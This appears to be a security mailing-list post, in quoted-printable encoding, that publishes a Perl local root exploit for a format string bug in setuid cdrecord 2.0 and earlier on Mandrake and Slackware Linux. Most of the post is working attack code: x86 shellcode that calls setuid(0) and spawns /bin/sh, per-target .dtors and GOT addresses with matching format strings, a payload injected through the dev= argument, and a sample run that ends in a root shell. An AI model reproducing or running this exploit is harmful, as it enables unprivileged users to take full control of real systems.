Priv8security.com =0D=0A=0D=0AHi, here it is local root exploit cdrecord =
format string bug=0D=0A Cdrecord come suid root by default on mandrake di=
stro and it can be=0D=0Aexecuted by anybody.=0D=0A=0D=0A[wsxz@localhost w=
sxz]$ ls -l /usr/bin/cdrecord=0D=0A-rwsr-sr-x 1 root cdwriter 27=
8156 Jan 6 07:2 /usr/bin/cdrecord*=0D=0A=0D=0Ahere goes the code or get =
it on=0D=0Ahttp://releases.priv8security.org/priv8cdr.pl=0D=0A=0D=0Apriv8=
cdr.pl=0D=0A--------cut here---------------------------------------------=
---------=0D=0A=0D=0A#!/usr/bin/perl=0D=0A###############################=
############################=0D=0A#Priv8security.c om Cdrecord version 2.0=
and < local root exploit.=0D=0A#=0D=0A# Version 1.10 is NOT VULN!!!!=
=0D=0A#=0D=0A# [wsxz@localhost buffer]$ perl priv8cdr.pl 4=0D=0A# Usi=
ng target number 4=0D=0A# Using Mr .dtors 0x808c82c=0D=0A# Cdrecord 2=
..0 (i586-mandrake-linux-gnu) Copyright (C) 1995-2002=0D=0AJ=F6rg Schillin=
g=0D=0A# scsidev: '1=C01=DB=B0=CD1=DB=D8=B0.=CD=EB^1=C0FF=0D=0A# =
=B0=0D=0A# =F3V=0D=
=0A# =0D=0A=CD1=DB=D8@=CD=E8=DC=FF=FF=FF/=
bin/sh%.134802669x%x%x%x%x%x%x%x%x%n:'=0D=0A# devname: '1=C01=DB=B0=CD1=
=DB=D8=B0.=CD=EB^1=C0FF=0D=0A# =B0=0D=0A# =
=F3V=0D=0A# =
=0D=0A=CD1=DB=D8@=CD=E8=DC=FF=FF=FF/bin/sh%.134802669x%x%x%x%x%x%x%x%x%n=
'=0D=0A# scsibus: -1 target: -1 lun: -1=0D=0A# Warning: Open by 'devn=
ame' is unintentional and not supported.=0D=0A# /usr/bin/cdrecord: No s=
uch file or directory. Cannot open '.=0D=0ACannot open SCSI driver.=0D=0A=
# /usr/bin/cdrecord: For possible targets try 'cdrecord -scanbus'.=0D=0A=
Make sure you are root.=0D=0A# /usr/bin/cdrecord: For possible transpor=
t specifiers try 'cdrecord=0D=0Adev=3Dhelp'.=0D=0A# sh-2.05b# id=0D=0A#=
uid=3D0(root) gid=3D0(root) groups=3D503(wsxz)=0D=0A# sh-2.05b#=0D=0A=
################################################## ###=0D=0A=0D=0A =
$shellcode =3D=0D=0A "\x31\xc0\x31\xdb\xb0=
\x17\xcd\x80".#setuid 0=0D=0A "\x31\xdb\x89\xd8\xb0\x2=
e\xcd\x80".#setgid 0=0D=0A "\xeb\x1f\x5e\x89\x76\x08\x=
31\xc0\x88\x46\x07\x89".=0D=0A "\x46\x0c\xb0\x0b\x89\x=
f3\x8d\x4e\x08\x8d\x56\x0c".=0D=0A "\xcd\x80\x31\xdb\x=
89\xd8\x40\xcd\x80\xe8\xdc\xff".=0D=0A "\xff\xff/bin/s=
h";=0D=0A=0D=0A $cdrecordpath =3D "/usr/bin/cdrecord";=
=0D=0A $nop =3D "\x90"; # x86 NOP=0D=0A =
$offset =3D 0; # Default offset to try.=0D=0A=0D=0A=0D=0A if (@A=
RGV =3D=3D 1 || @ARGV =3D=3D 2) {=0D=0A $target =3D $A=
RGV[0];=0D=0A $offset =3D $ARGV[1];=0D=0A =
}else{=0D=0A printf(" Priv8security.com Cdrecor=
d local root=0D=0Aexploit!!\n");=0D=0A printf(" usage:=
$0 target\n");=0D=0A printf(" List of targets:\n");=0D=
=0A printf(" 1 - Linux Mandrake 8.2 Cdrecord=0D=0A=
1.11a15\n");=0D=0A printf(" 2 - Linux Mandrake 9.=
0 Cdrecord=0D=0A1.11a32\n");=0D=0A printf(" 3 - L=
inux Slackware 8.1 Cdrecord=0D=0A1.11a24 not suid by default!!!\n");=0D=0A=
printf(" 4 - Linux Mandrake 9.1 Cdrecord 2.0\n")=
;=0D=0A exit(1);=0D=0A }=0D=0A=0D=0A=
if ( $target eq "1" ) {=0D=0A $retword =3D 0x0807a=
f38; #Mr .dtors =0D=0A $fmtstring =3D "%.134727238x%=
x%x%x%x%x%x%x%x%n:";=0D=0A }=0D=0A if ( $target eq=
"2" ) {=0D=0A # $retword =3D 0x08084578; #.dtors=0D=0A =
$retword =3D 0x08084684; #.GOT exit=0D=0A =
$fmtstring =3D "%.134769064x%x%x%x%x%x%x%x%x%n:";=0D=0A =
}=0D=0A if ( $target eq "3" ) {=0D=0A $retw=
ord =3D 0x0807f658;=0D=0A $fmtstring =3D "%.134745456x=
%x%x%x%x%x%x%x%x%x%x%n:";=0D=0A }=0D=0A if ( $ta=
rget eq "4" ) {=0D=0A $retword =3D 0x0808c82c; #.GOT ex=
it=0D=0A $fmtstring =3D "%.134802669x%x%x%x%x%x%x%x%x%n=
:";=0D=0A }=0D=0A=0D=0A printf("Usi=
ng target number %d\n", $target);=0D=0A printf("Using =
Mr .dtors 0x%x\n",$retword);=0D=0A=0D=0A $new_retword =
=3D pack('l', ($retword));=0D=0A $new_retshell =3D pac=
k('l', ($retshell));=0D=0A $buffer2 =3D $new_retword;=0D=
=0A $buffer2 .=3D $nop x 150;=0D=0A =
$buffer2 .=3D $shellcode;=0D=0A $buffer2 .=3D $fmtstr=
ing;=0D=0A=0D=0A exec("$cdrecordpath dev=3D'$buffer2' =
'$cdrecordpath'");=0D=0A=0D=0A--------cut here---------------------------=
--------------------